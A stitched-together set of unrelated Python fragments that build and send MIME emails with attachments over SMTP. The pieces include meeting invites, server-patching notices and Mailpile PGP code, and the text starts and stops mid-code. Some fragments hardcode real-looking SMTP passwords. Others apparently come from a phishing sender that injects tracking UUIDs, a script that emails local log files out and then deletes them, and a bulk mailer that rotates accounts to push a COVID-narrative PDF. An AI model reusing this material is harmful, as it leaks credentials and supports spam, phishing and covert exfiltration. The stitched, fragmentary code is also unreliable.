CRLF + "END:VEVENT" + CRLF + "END:VCALENDAR" + CRLF eml_body = "This is a meeting arranged for " + name + " and " + " Sir/Madam" + \ " Companion/volunteer Contact info is : " + \ str(contact_vol) + " and Sir/Madam Contact info is " + str(phone) eml_body_bin = "This is the email body in binary - two steps" msg = MIMEMultipart('mixed') msg['Reply-To'] = fro msg['Date'] = formatdate(localtime=True) msg['Subject'] = "Aapka Sahara Foundation invite" + dtstart msg['From'] = fro msg['To'] = ",".join(attendees) part_email = MIMEText(eml_body, "html") part_cal = MIMEText(ical, 'calendar;method=REQUEST') msgAlternative = MIMEMultipart('alternative') msg.attach(msgAlternative) ical_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics")) ical_atch.set_payload(ical) encoders.encode_base64(ical_atch) ical_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % ("invite.ics")) eml_atch = MIMEText('', 'plain') eml_atch.add_header('Content-Transfer-Encoding', "") msgAlternative.attach(part_email) msgAlternative.attach(part_cal) mailServer = smtplib.SMTP('smtp.gmail.com', 587) mailServer.ehlo() mailServer.starttls() mailServer.ehlo() mailServer.login(login, password) mailServer.sendmail(fro, attendees, msg.as_string()) mailServer.close() return render(request, "home.html")
return formataddr((Header(name, 'utf-8').encode(), addr)) smtp_server = "smtp.rosun.com.cn" # smtp服务器地址 from_mail = "*****@*****.**" # 邮件账号 mail_pwd = "r0sun*953@143@" # 登陆密码 to_mail = ["*****@*****.**", "*****@*****.**"] # 接收邮件的地址 cc_mail = [] # 抄送"*****@*****.**" from_name = "集团流程IT部" # 发送者名称[可任意修改] subject = "标题" # 标题[可任意修改] body = "<h1>测试邮件</h1><h2 style='color:red'>This is a test</h1> " # 内容[用网页方式发送] msg = MIMEMultipart() # 构造一个msg msg["From"] = formatAddr("{} <{}>".format(from_name, from_mail)) msg["To"] = ','.join(to_mail) msg["Subject"] = "标题" msg.attach(MIMEText(body, 'html', 'utf-8')) file_path = "C:/Users/lo/Desktop/述职报告(模板).docx" with open(file_path, "rb") as rr: att = MIMEBase("word", "docx", filename=file_path) # 附件对象 att.add_header("Content-Disposition", "attachment", filename=('utf-8', '', "附件名称.docx")) # filename是显示附件的名字,前面两项是标准格式 att.set_payload(rr.read()) encoders.encode_base64(att) msg.attach(att) s = smtplib.SMTP(smtp_server) s.login(from_mail, mail_pwd) s.sendmail(from_mail, to_mail + cc_mail, msg.as_string()) s.quit()
def send_mail_func( username, password, receiver_email="", Subject="", message="", list_file=[], crypto_type=None, ): port = 587 smtp_server = "smtp.gmail.com" # Neu khong co nguoi nhan if receiver_email != "": # Neu message khong rong hoac co file dinh kem if message != "" or list_file[0] != "": bbc = receiver_email msg = MIMEMultipart() # msg = MIMEMultipart("alternative"); #Dùng khi gửi theo dạng html # Thông tin về From, To, Subject, Bcc của mail. msg["From"] = username msg["To"] = receiver_email msg["Subject"] = Subject msg["Bcc"] = bbc encryption_key = entry_key.get() encryption_iv = entry_iv.get() private_key, public_key = cryptor.generate_rsa_keys() path = os.path.expanduser(os.getenv("USERPROFILE")) + "\\MailKeys\\" if not os.path.exists(path): os.makedirs(path) time = datetime.datetime.now().isoformat() priv_file = "" pub_file = "" for char in f"PRIV_{time}": if char.isalnum(): priv_file += char for char in f"PUB_{time}": if char.isalnum(): pub_file += char f = open(path + priv_file + ".pem", "wb") f.write(private_key.export_key("PEM")) f.close() f = open(path + pub_file + ".pem", "wb") f.write(public_key.export_key("PEM")) f.close() # Neu message khong rong if message != "": # Message của người gửi muốn người nhận nhận được body_mail = message if crypto_type: if crypto_type == "AES": body_mail = cryptor.AES_Encrypt( body_mail, encryption_key, encryption_iv ).decode() elif crypto_type == "DES": body_mail = cryptor.DES_Encrypt( body_mail, encryption_key, encryption_iv ).decode() elif crypto_type == "CAESAR": body_mail = cryptor.Caesar_Encrypt( body_mail, int(encryption_key) )[: len(body_mail) - 1] elif crypto_type == "VIGENERE": text = str(body_mail.lower()) key = str(entry_key.get()).lower().replace(" ", "") handled_text = unidecode.unidecode(text) handled_key = unidecode.unidecode(key) body_mail = cryptor.Vigenere_Encrypt( handled_text, handled_key ) # body_mail = cipher.encrypt(handled_text, handled_key) signature = cryptor.sign_message(body_mail.encode(), private_key) hex_signature = signature.hex() body_mail += hex_signature # Định dạng message của mail theo kiểu plain text và lưu vào message_mail message_mail = MIMEText(body_mail, "plain", "utf-8") # part2 = MIMEText(html, "html") message_mail.add_header( "Signature-Verifier", public_key.export_key("DER").hex(), ) # Đính kèm nội dung mail đang được lưu trong par1 vào msg msg.attach(message_mail) # Neu co file dinh kem if list_file[0] != "": attachments = list_file # In same directory as script # sau khi print ra thì filepath bị split mỗi kí tự thành 1 phần tử của list => sai # cần fix lỗi chỗ này. for i in range(0, len(attachments)): file = attachments[i] file_basename = os.path.basename(file) # Open PDF file in binary mode attachment = open(file, "rb") attachment.seek(0) attachment_content = attachment.read() # Add file as application/octet-stream # Email client can usually download this automatically as attachment file_mail = MIMEBase("application", "octet-stream") file_mail.set_payload(attachment_content) # Encode file in ASCII characters to send by email encoders.encode_base64(file_mail) # Add header as key/value pair to attachment part file_mail.add_header( "Content-Disposition", "attachment", filename=("utf-8", "", file_basename), ) msg.attach(file_mail) signature = cryptor.sign_message( attachment_content, private_key ) hex_signature = signature.hex() file_mail.add_header( "Signature", hex_signature, ) file_mail.add_header( "Signature-Verifier", public_key.export_key("DER").hex(), ) attachment.close() all_message = msg.as_string() try: # Tạo một đối tượng SMTP, cho phép kết nối tới server của SMTP và cho phép sử dụng các phương thức của SMTP server = smtplib.SMTP(smtp_server, port) # Tạo kết nối SMTP không bảo mật và mã hóa nó với starttls() server.starttls() # Đăng nhập tài khoản gmail của người gửi server.login(username, password) # Tiến hành gửi mail từ người gửi tới người nhận, message được định dang theo string. server.sendmail(username, receiver_email, all_message) # Trong trường hợp có lỗi khi kết nối tới server của SMTP hoặc xảy ra bất kì lỗi gì trong quá trình xử lí # Sẽ xuất thông báo lỗi except Exception as e: print(e) finally: messagebox.showinfo("Success", "Sent!") server.quit() # Khong co message va file else: messagebox.showerror("Error", "The content is empty!") # Khong co nguoi nhan else: messagebox.showerror("Error", "Please specify at least one recipient.!")
altered_email_text = inject_tracking_uuid(email_text, tracking_uuid) msg.attach(MIMEText(altered_email_text, 'html', 'utf-8')) else: msg.attach(MIMEText(email_text, 'html', 'utf-8')) if args.attachment_filename is not None: ctype, encoding = mimetypes.guess_type(args.attachment_filename) if ctype is None or encoding is not None: # No guess could be made, or the file is encoded (compressed), so # use a generic bag-of-bits type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) with open(args.attachment_filename, "rb") as attachment_file: inner = MIMEBase(maintype, subtype) inner.set_payload(attachment_file.read()) encoders.encode_base64(inner) inner.add_header('Content-Disposition', 'attachment', filename=args.attachment_filename) msg.attach(inner) server.sendmail(args.from_address, to_address, msg.as_string()) output_good("Email Sent to " + to_address) if args.slow_send: delay_send() output_info("Connecting to SMTP server at " + args.smtp_server + ":" + str(args.smtp_port)) server = smtplib.SMTP(args.smtp_server, args.smtp_port) except smtplib.SMTPException as e: output_error("Error: Could not send email") raise e
def email(smtpOptions, emailAddr, text, subj, attachments=list(), bcc=list()): # <smtpOptions> must be a dictianry. # Mandatory keys are: # * addr - smtp server # Optional keys are: # * from - sender mail address. # default: to "Cerebro Mail Service <*****@*****.**>" # * ssl - use SSL. # default: False # * tls - start TLS # default: False # * login - user name to login on SMTP # default: None # * psswd - user password to login on SMTP # default: None # * log - log email sent # default: False # * skip - skip rea; mail send. Used for debug # default: False # * debugEmail - override mail adress # # * To - set To header # * Cc - set Cc header # # * zipFile - compress all atachments in zip and attach it # # emailAddr - is a comma-separated list of emails # # attachments must be list of two component entries: [<bytearray> - atachment content, <str> - attachment name] # # Example use: # email({'addr' : 'cerebrohq.com', 'ssl' : False}, '*****@*****.**', 'message text', 'message subject') mailTo = emailAddr if 'debugEmail' in smtpOptions: toAddrs = [smtpOptions['debugEmail']] print('email adress overriden {0} -> {1}'.format( emailAddr, smtpOptions['debugEmail'])) else: toAddrs = splitEmailAddr(mailTo, bcc) #print('emailAddr ', emailAddr); #print('toaddr ', toAddrs); #print('uniqMail ', uniqMail); if 'from' in smtpOptions: mailFrom = smtpOptions['from'] else: mailFrom = 'Cerebro Mail Service <*****@*****.**>' msg = MIMEMultipart() msg['Subject'] = Header(subj, 'utf-8') msg['From'] = mailFrom msg['To'] = smtpOptions['To'] if ('To' in smtpOptions) else mailTo if 'Cc' in smtpOptions: msg['Cc'] = smtpOptions['Cc'] try: if str('<html>') in text: part2 = MIMEText(text.encode('utf-8'), 'html', 'utf-8') else: part2 = MIMEText(text.encode('utf-8'), 'plain', 'utf-8') except Exception as ex: msgErr = time.strftime( '%Y-%m-%d %H:%M:%S' ) + ': email encode FAILED <' + emailAddr + '> : ' + str(ex) + "\n" msgErr += "MESSAGE DUMP BEGIN:\n" msgErr += str(base64.encodebytes(text.encode('unicode_internal')), 'ascii') msgErr += "MESSAGE DUMP END\n" if ('log' in smtpOptions) and smtpOptions['log']: sys.stderr.write(msgErr) sys.stderr.flush() raise Exception(msgErr) msg.attach(part2) if 'zipFile' in smtpOptions: if len(attachments) > 0: zFileName = tempfile.mktemp() zFile = zipfile.ZipFile(zFileName, mode='a', compression=zipfile.ZIP_DEFLATED) for attach in attachments: zFile.writestr(correctFileName(attach[1]), attach[0]) zFile.close() attachments = [[ open(zFileName, 'rb').read(), smtpOptions['zipFile'] ]] os.remove(zFileName) for attach in attachments: attachment = MIMEBase("application", "octet-stream") attachment.add_header('Content-Disposition', 'attachment', filename=correctFileName(attach[1])) attachment.add_header('Content-Transfer-Encoding', 'base64') attachment.set_payload(str(base64.encodebytes(attach[0]), 'ascii')) msg.attach(attachment) try: if not (('skip' in smtpOptions) and smtpOptions['skip']): useTLS = ('tls' in smtpOptions and smtpOptions['tls']) useSSL = ('ssl' in smtpOptions and smtpOptions['ssl']) port = 25 if useSSL: port = 465 if 'port' in smtpOptions: port = smtpOptions['port'] if useSSL: smtp = smtplib.SMTP_SSL(smtpOptions['addr'], port) else: smtp = smtplib.SMTP(smtpOptions['addr'], port) if useTLS: smtp.ehlo() smtp.starttls() smtp.ehlo() if 'login' in smtpOptions and len(smtpOptions['login']) > 0: smtp.login(smtpOptions['login'], smtpOptions['psswd']) smtp.sendmail(mailFrom, toAddrs, msg.as_string()) if ('log' in smtpOptions) and smtpOptions['log']: print( time.strftime('%Y-%m-%d %H:%M:%S') + ': email sent to: ', emailAddr) except Exception as ex: if ('log' in smtpOptions) and smtpOptions['log']: msgErr = time.strftime( '%Y-%m-%d %H:%M:%S' ) + ': email FAILED <' + emailAddr + '> : ' + str(ex) + "\n" sys.stderr.write(msgErr) sys.stderr.flush() raise
#Body Attachment body = ''' <html> <body> <h1>Hello User</h1> <p>Your account is now ready to use</p> </body> </html> ''' msg.attach(MIMEText(body, 'html')) #File Attachment filename = "aakash.png" file = open(filename, "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((file).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename=" + filename) msg.attach(part) #File Attachment filename = "aakash.txt" file = open(filename, "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((file).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) smtp = smtplib.SMTP('smtp.gmail.com', 587) smtp.ehlo()
def send_email_with_xlsx_to_customer(group_of_e_mails, table): '''group_of_e_mails -- e-mails of service owners (only emails)''' names = db_cur.execute( "SELECT SERVICE_OWNERS FROM SERVER_OWNERS_EMAILS WHERE CONTACT_EMAILS=:e_mails LIMIT 1", { 'e_mails': group_of_e_mails }).fetchone()[0].split(",") final_names = [n.split(' ')[0] for n in names] if len(final_names) > 1: final_names = ', '.join(final_names[:-1]) + " and " + final_names[-1] else: final_names = final_names[0] mail_body = "<html><head><meta charset='UTF-8'></head><body>\ <p>Dear {names},</p>\ Please see below the list of the Linux servers under your responsibility, with the exact patching schedule for each of them.\ <br>The list of updates is attached to this email.\ <p>{table}</p>\ <br>In case any clarifications or schedule corrections are required, please <b>REPLY ALL.</b>\ <br>If you start experiencing any issues after the patching date, please create an incident for <b>{itsm_group}</b> group.\ {sign}</body></html>".format(names=final_names, sign=settings["sign"], table=table, itsm_group=settings['itsm_group']) msg = MIMEMultipart('related') msg_a = MIMEMultipart('alternative') msg.attach(msg_a) part2 = MIMEText(mail_body, 'html') msg_a.attach(part2) part3 = MIMEBase('application', "octet-stream") part3.set_payload(open('/tmp/patching_list.xlsx', "rb").read()) encoders.encode_base64(part3) part3.add_header('Content-Disposition', 'attachment', filename='patching_list.xlsx') msg_a.attach(part3) logo = open('../images/VRFwMw2.png', 'rb') part4 = MIMEImage(logo.read()) logo.close() part4.add_header('Content-ID', '<logo>') msg.attach(part4) msg['Subject'] = "Upcoming Linux patching -- {month} | RFC {rfc_number}".format( month=today.strftime("%B"), rfc_number=rfc_number) msg['From'] = settings['email_from'] msg['To'] = group_of_e_mails msg['Cc'] = settings['e_mail_cc'] try: s = smtplib.SMTP(settings['smtp_server']) s.sendmail( msg['From'], group_of_e_mails.split(",") + settings['e_mail_cc'].split(','), msg.as_string()) s.quit() termcolor.cprint('E_mail was sent correctly to {e_mails}!'.format( e_mails=msg['To']), color="white", on_color="on_green") except: termcolor.cprint( "Can not send the e-mail to {e_mails} first time, trying again...". format(e_mails=msg['To']), color="red", on_color="on_white") try: s = smtplib.SMTP(settings['smtp_server']) s.sendmail( msg['From'], group_of_e_mails.split(",") + settings['e_mail_cc'].split(','), msg.as_string()) s.quit() termcolor.cprint('E_mail was sent correctly in this time!', color="white", on_color="on_green") except Exception as e: termcolor.cprint( 'Error occured during sendig e-mail again... Skipping this message. Exception: {ex} ' .format(ex=str(e)), color='red', on_color='on_white') logging.warning("Can not send the e-mail to {e_mails}".format( e_mails=msg['To'])) input("Please, enter any symbol to proceed...")
from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase TO = "[email protected], [email protected]" FROM = "*****@*****.**" SUBJECT = "LSC Feedback" themsg = MIMEMultipart() themsg['Subject'] = 'LSC Feedback' themsg['To'] = TO themsg['From'] = FROM msg = MIMEBase('application', 'zip') zf = open(outfile, 'rb') msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=outfile) themsg.attach(msg) #themsg = themsg.as_string() #oye SENDMAIL = "/usr/sbin/sendmail" # sendmail location import os p = os.popen("%s -t" % SENDMAIL, "w") p.write("To: [email protected]\n") p.write("Subject: test\n") p.write("\n") # blank line separating headers from body p.write("Some text\n") p.write("some more text\n") sts = p.close()
class MimeEncryptingWrapper(MimeWrapper): CONTAINER_TYPE = 'multipart/encrypted' CONTAINER_PARAMS = () ENCRYPTION_TYPE = 'application/x-encrypted' ENCRYPTION_VERSION = 0 def __init__(self, *args, **kwargs): MimeWrapper.__init__(self, *args, **kwargs) self.version = MIMEBase(*self.ENCRYPTION_TYPE.split('/')) self.version.set_payload('Version: %s\n' % self.ENCRYPTION_VERSION) for h, v in (("Content-Disposition", "attachment"), ): self.version.add_header(h, v) self.enc_data = MIMEBase('application', 'octet-stream') for h, v in (("Content-Disposition", "attachment; filename=\"msg.asc\""), ): self.enc_data.add_header(h, v) self.attach(self.version) self.attach(self.enc_data) def _encrypt(self, message_text, tokeys=None, armor=False): return self.crypto().encrypt(message_text, tokeys=tokeys, armor=True) def _update_crypto_status(self, part): part.encryption_info.part_status = 'decrypted' def wrap(self, msg, prefer_inline=False): to_keys = set(self.get_keys(self.recipients + [self.sender])) if prefer_inline: prefer_inline = self.get_only_text_part(msg) else: prefer_inline = False if prefer_inline is not False: message_text = Normalize(prefer_inline.get_payload(None, True)) status, enc = self._encrypt(message_text, tokeys=to_keys, armor=True) if status == 0: _update_text_payload(prefer_inline, enc) self._update_crypto_status(prefer_inline) return msg else: msg = self.prepare_wrap(msg) if self.cleaner: self.cleaner(msg) message_text = self.flatten(msg) status, enc = self._encrypt(message_text, tokeys=to_keys, armor=True) if status == 0: self.enc_data.set_payload(enc) self._update_crypto_status(self.enc_data) return self.container raise EncryptionFailureError(_('Failed to encrypt message!'), to_keys)
def UnwrapMimeCrypto(part, protocols=None, psi=None, pei=None, charsets=None, unwrap_attachments=True, require_MDC=True, depth=0): """ This method will replace encrypted and signed parts with their contents and set part attributes describing the security properties instead. """ # Guard against maliciously constructed emails if depth > 6: return part.signature_info = SignatureInfo(parent=psi) part.encryption_info = EncryptionInfo(parent=pei) part.signed_headers = set([]) part.encrypted_headers = set([]) mimetype = part.get_content_type() or 'text/plain' disposition = part['content-disposition'] or "" encoding = part['content-transfer-encoding'] or "" # FIXME: Check the protocol. PGP? Something else? # FIXME: This is where we add hooks for other MIME encryption # schemes, so route to callbacks by protocol. crypto_cls = protocols['openpgp'] if part.is_multipart(): # Containers are by default not bubbly part.signature_info.bubbly = False part.encryption_info.bubbly = False if part.is_multipart() and mimetype == 'multipart/signed': try: boundary = part.get_boundary() payload, signature = part.get_payload() # The Python get_payload() method likes to rewrite headers, # which breaks signature verification. So we manually parse # out the raw payload here. head, raw_payload, junk = part.as_string( ).replace('\r\n', '\n').split('\n--%s\n' % boundary, 2) part.signature_info = crypto_cls().verify( Normalize(raw_payload), signature.get_payload()) part.signature_info.bubble_up(psi) # Reparent the contents up, removing the signature wrapper hdrs = MimeReplacePart(part, payload, keep_old_headers='MH-Renamed') part.signed_headers = hdrs # Try again, in case we just unwrapped another layer # of multipart/something. UnwrapMimeCrypto(part, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, require_MDC=require_MDC, depth = depth + 1 ) except (IOError, OSError, ValueError, IndexError, KeyError): part.signature_info = SignatureInfo() part.signature_info["status"] = "error" part.signature_info.bubble_up(psi) elif part.is_multipart() and mimetype == 'multipart/encrypted': try: preamble, payload = part.get_payload() (part.signature_info, part.encryption_info, decrypted) = ( crypto_cls().decrypt( payload.as_string(), require_MDC=require_MDC)) except (IOError, OSError, ValueError, IndexError, KeyError): part.encryption_info = EncryptionInfo() part.encryption_info["status"] = "error" part.signature_info.bubble_up(psi) part.encryption_info.bubble_up(pei) if part.encryption_info['status'] == 'decrypted': newpart = email.parser.Parser().parsestr(decrypted) # Reparent the contents up, removing the encryption wrapper hdrs = MimeReplacePart(part, newpart, keep_old_headers='MH-Renamed') # Is there a Memory-Hole force-display part? pl = part.get_payload() if hdrs and isinstance(pl, (list, )): if (pl[0]['content-type'].startswith('text/rfc822-headers;') and 'protected-headers' in pl[0]['content-type']): # Parse these headers as well and override the top level, # again. This is to be sure we see the same thing as # everyone else (same algo as enigmail). data = email.parser.Parser().parsestr( pl[0].get_payload(), headersonly=True) for h in data.keys(): while h in part: del part[h] part[h] = data[h] hdrs.add(h) # Finally just delete the part, we're done with it! del pl[0] part.encrypted_headers = hdrs if part.signature_info["status"] != 'none': part.signed_headers = hdrs # Try again, in case we just unwrapped another layer # of multipart/something. UnwrapMimeCrypto(part, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, require_MDC=require_MDC, depth = depth + 1 ) # If we are still multipart after the above shenanigans (perhaps due # to an error state), recurse into our subparts and unwrap them too. elif part.is_multipart(): for sp in part.get_payload(): UnwrapMimeCrypto(sp, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, require_MDC=require_MDC, depth = depth + 1 ) elif disposition.startswith('attachment'): # The sender can attach signed/encrypted/key files without following # rules for naming or mime type. # So - sniff to detect parts that need processing and identify protocol. kind = '' for protocol in protocols: crypto_cls = protocols[protocol] kind = crypto_cls().sniff(part.get_payload(), encoding) if kind: break if unwrap_attachments and ('encrypted' in kind or 'signature' in kind): # Messy! The PGP decrypt operation is also needed for files which # are encrypted and signed, and files that are signed only. payload = part.get_payload( None, True ) try: (part.signature_info, part.encryption_info, decrypted) = ( crypto_cls().decrypt( payload, require_MDC=require_MDC)) except (IOError, OSError, ValueError, IndexError, KeyError): part.encryption_info = EncryptionInfo() part.encryption_info["status"] = "error" part.signature_info.bubble_up(psi) part.encryption_info.bubble_up(pei) if (part.encryption_info['status'] == 'decrypted' or part.signature_info['status'] == 'verified'): # Force base64 encoding and application/octet-stream type newpart = MIMEBase('application', 'octet-stream') newpart.set_payload(decrypted) encoders.encode_base64(newpart) # Add Content-Disposition with appropriate filename. MimeAttachmentDisposition(part, kind, newpart) MimeReplacePart(part, newpart) # Is there another layer to unwrap? UnwrapMimeCrypto(part, protocols=protocols, psi=part.signature_info, pei=part.encryption_info, charsets=charsets, unwrap_attachments=unwrap_attachments, require_MDC=require_MDC, depth = depth + 1 ) else: # FIXME: Best action for unsuccessful attachment processing? pass elif mimetype == 'text/plain': return UnwrapPlainTextCrypto(part, protocols=protocols, psi=psi, pei=pei, charsets=charsets, require_MDC=require_MDC, depth = depth + 1 ) else: # FIXME: This is where we would handle cryptoschemes that don't # appear as multipart/... pass # Mix in our bubbles part.signature_info.mix_bubbles() part.encryption_info.mix_bubbles() # Bubble up! part.signature_info.bubble_up(psi) part.encryption_info.bubble_up(pei)
class MimeSigningWrapper(MimeWrapper): CONTAINER_TYPE = 'multipart/signed' CONTAINER_PARAMS = () SIGNATURE_TYPE = 'application/x-signature' SIGNATURE_DESC = 'Abstract Digital Signature' def __init__(self, *args, **kwargs): MimeWrapper.__init__(self, *args, **kwargs) name = 'signature.html' if self.use_html_wrapper else 'signature.asc' self.sigblock = MIMEBase(*self.SIGNATURE_TYPE.split('/')) self.sigblock.set_param("name", name) for h, v in (("Content-Description", self.SIGNATURE_DESC), ("Content-Disposition", "attachment; filename=\"%s\"" % name)): self.sigblock.add_header(h, v) def _wrap_sig_in_html(self, sig): return ( "<html><body><h1>%(title)s</h1><p>\n\n%(description)s\n\n</p>" "<pre>\n%(sig)s\n</pre><hr>" "<i><a href='%(ad_url)s'>%(ad)s</a>.</i></body></html>" ) % self._wrap_sig_in_html_vars(sig) def _wrap_sig_in_html_vars(self, sig): return { # FIXME: We deliberately do not flag these messages for i18n # translation, since we rely on 7-bit content here so as # not to complicate the MIME structure of the message. "title": "Digital Signature", "description": ( "This is a digital signature, which can be used to verify\n" "the authenticity of this message. You can safely discard\n" "or ignore this file if your e-mail software does not\n" "support digital signatures."), "ad": "Generated by Mailpile", "ad_url": "https://www.mailpile.is/", # FIXME: Link to help? "sig": sig} def _update_crypto_status(self, part): part.signature_info.part_status = 'verified' def wrap(self, msg, prefer_inline=False): from_key = self.get_keys([self.sender])[0] if prefer_inline: prefer_inline = self.get_only_text_part(msg) else: prefer_inline = False if prefer_inline is not False: message_text = Normalize(prefer_inline.get_payload(None, True) .strip() + '\r\n\r\n') status, sig = self.crypto().sign(message_text, fromkey=from_key, clearsign=True, armor=True) if status == 0: _update_text_payload(prefer_inline, sig) self._update_crypto_status(prefer_inline) return msg else: msg = self.prepare_wrap(msg) self.attach(msg) self.attach(self.sigblock) message_text = self.flatten(msg) status, sig = self.crypto().sign(message_text, fromkey=from_key, armor=True) if status == 0: if self.use_html_wrapper: sig = self._wrap_sig_in_html(sig) self.sigblock.set_payload(sig) self._update_crypto_status(self.container) return self.container raise SignatureFailureError(_('Failed to sign message!'), from_key)
path = r'C:\Users\Bjy_PC\Desktop\Sendemail' if not os.path.exists(path): print path, ' 目录不存在!' else: file1 = os.listdir(path) ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) for each in file1: fb1 = open(os.path.join(path, each), 'rb') doc = MIMEBase(maintype, subtype) doc.set_payload(fb1.read()) encoders.encode_base64(doc) doc.add_header('Content-Disposition', 'attachment; filename=%s' % each) fb1.close() msg.attach(doc) s = smtplib.SMTP('smtp.qq.com') user = '******' print '账号为:[email protected]' msg['From'] = user msg['To'] = user pass_ = raw_input('请输入密码:') s.login(user, pass_) if s.ehlo('hello'):
def send_email(): """ Sends email to the designated address """ if internet(): print(os.listdir()) for file in os.listdir(): if file.endswith('.txt'): logging.debug("sending email") import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders fromaddr = fromaddr toaddr = addr ##To address # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = fromaddr # storing the receivers email address msg['To'] = toaddr # storing the subject msg['Subject'] = sub # string to store the body of the mail global date body = "Your log for {} " .format(date) # attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) # open the file to be sent filename = file attachment = open(filename, "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # creates SMTP session s = smtplib.SMTP('smtp.gmail.com', 587) # start TLS for security s.starttls() # Authentication s.login(fromaddr, frompass) ##Pass # Converts the Multipart msg into a string text = msg.as_string() # sending the mail s.sendmail(fromaddr, toaddr, text) # terminating the session s.quit() print("sent") attachment.close() os.remove(file) logging.debug("File deleted") else: logging.debug("No file found")
def __init__(self, images, body, archive=False): self.on = True self.gmail = smtplib.SMTP('smtp.gmail.com', 587) self.gmail.starttls() self.gmail.login('*****@*****.**', 'piclock1226') self.max_file_size = 25165824 # 25MB self.msg = MIMEMultipart() self.msg['Subject'] = 'PyClock Alert' self.msg['From'] = '*****@*****.**' self.msg['To'] = '*****@*****.**' self.msg.preamble = 'Alert from home PiClock' self.msg.attach(MIMEText(body, 'plain')) if archive: attachment = MIMEBase('application', 'zip') self.zip_file_name = self.date_stamp() + '.txt' self.tmp = tempfile.TemporaryFile(prefix=self.date_stamp(), suffix='.txt') self.zip_file = zipfile.ZipFile(self.tmp, 'w', zipfile.ZIP_LZMA) current_size = 0 for image in images: if not self.on: return self.__close() current_size += os.path.getsize(image) # 25MB file size if current_size > self.max_file_size: print( self.time_stamp() + ' Size limit will exceed, no more images will be archived' ) break else: print(self.time_stamp() + ' Archiving file {} - {}'.format( i, ntpath.basename(image))) self.zip_file.write(image, ntpath.basename(image)) self.zip_file.close() self.tmp.seek(0) attachment.set_payload(self.tmp.read()) self.tmp.close() encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment', filename=self.zip_file_name) self.msg.attach(attachment) else: for image in images: if not self.on: return self.__close() with open(image, 'rb') as fp: attachment = MIMEImage(fp.read()) fp.close() attachment.add_header( 'Content-Disposition', 'attachment: filename=' + ntpath.basename(image)) self.msg.attach(attachment) if not self.on: return self.__close() self.gmail.send_message(self.msg) self.__close()
def TransformOutgoing(self, sender, rcpts, msg, **kwargs): matched = False gnupg = None sender_keyid = None # Prefer to just get everything from the profile VCard, in the # common case... profile = self.config.vcards.get_vcard(sender) if profile: sender_keyid = profile.pgp_key crypto_format = profile.crypto_format or 'none' else: crypto_format = 'none' # Parse the openpgp_header data from the crypto_format openpgp_header = [ p.split(':')[-1] for p in crypto_format.split('+') if p.startswith('openpgp_header:') ] if not openpgp_header: openpgp_header = self.config.prefs.openpgp_header and ['CFG'] if openpgp_header[0] != 'N' and not sender_keyid: # This is a fallback: this shouldn't happen much in normal use try: gnupg = gnupg or GnuPG(self.config) seckeys = dict([ (uid["email"], fp) for fp, key in gnupg.list_secret_keys().iteritems() if key["capabilities_map"].get("encrypt") and key["capabilities_map"].get("sign") for uid in key["uids"] ]) sender_keyid = seckeys.get(sender) except (KeyError, TypeError, IndexError, ValueError): traceback.print_exc() if sender_keyid and openpgp_header: preference = { 'ES': 'signencrypt', 'SE': 'signencrypt', 'E': 'encrypt', 'S': 'sign', 'N': 'unprotected', 'CFG': self.config.prefs.openpgp_header }[openpgp_header[0].upper()] msg["OpenPGP"] = ("id=%s; preference=%s" % (sender_keyid, preference)) if ('attach-pgp-pubkey' in msg and msg['attach-pgp-pubkey'][:3].lower() in ('yes', 'tru')): gnupg = gnupg or GnuPG(self.config) if sender_keyid: keys = gnupg.list_keys(selectors=[sender_keyid]) else: keys = gnupg.address_to_keys(ExtractEmails(sender)[0]) key_count = 0 for fp, key in keys.iteritems(): if not any(key["capabilities_map"].values()): continue # We should never really hit this more than once. But if we # do, should still be fine. keyid = key["keyid"] data = gnupg.get_pubkey(keyid) try: from_name = key["uids"][0]["name"] filename = _('Encryption key for %s.asc') % from_name except: filename = _('My encryption key.asc') att = MIMEBase('application', 'pgp-keys') att.set_payload(data) encoders.encode_base64(att) del att['MIME-Version'] att.add_header('Content-Id', MakeContentID()) att.add_header('Content-Disposition', 'attachment', filename=filename) att.signature_info = SignatureInfo(parent=msg.signature_info) att.encryption_info = EncryptionInfo( parent=msg.encryption_info) msg.attach(att) key_count += 1 if key_count > 0: msg['x-mp-internal-pubkeys-attached'] = "Yes" return sender, rcpts, msg, matched, True
f = codecs.open("email_to_send.htm", 'r', 'utf-8') html = f.read() #Convert to MIME format part2 = MIMEText(html, "html") part1 = MIMEText(text, "text") #Attach the mime elements to the message. msg.attach(part2) msg.attach(part1) #Now attach any files you want to send - set up the file name at the line below or use a wildcard etc files = ["files.*"] files = ["THE-COVID-19-Pandemic-Challenging-the-Narrative.pdf"] for path in files: part = MIMEBase('application', "octet-stream") with open(path, 'rb') as file: part.set_payload(file.read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(Path(path).name)) msg.attach(part) #You can use different email accounts to send your bulk messages - perhaps sending 50 from each account every 30 mins or something. email_accounts = [["smtp.isp1.com", "--- email 1----", "password 1"], ["smtp.isp2.com", "--- email 2----", "password 2"], ["smtp.isp3.com", "--- email 3----", "password 3"]] #Count how many email addresses were defined. batch_size = len(email_accounts) #The email addresses should be one per line #Get a recursive list of file paths 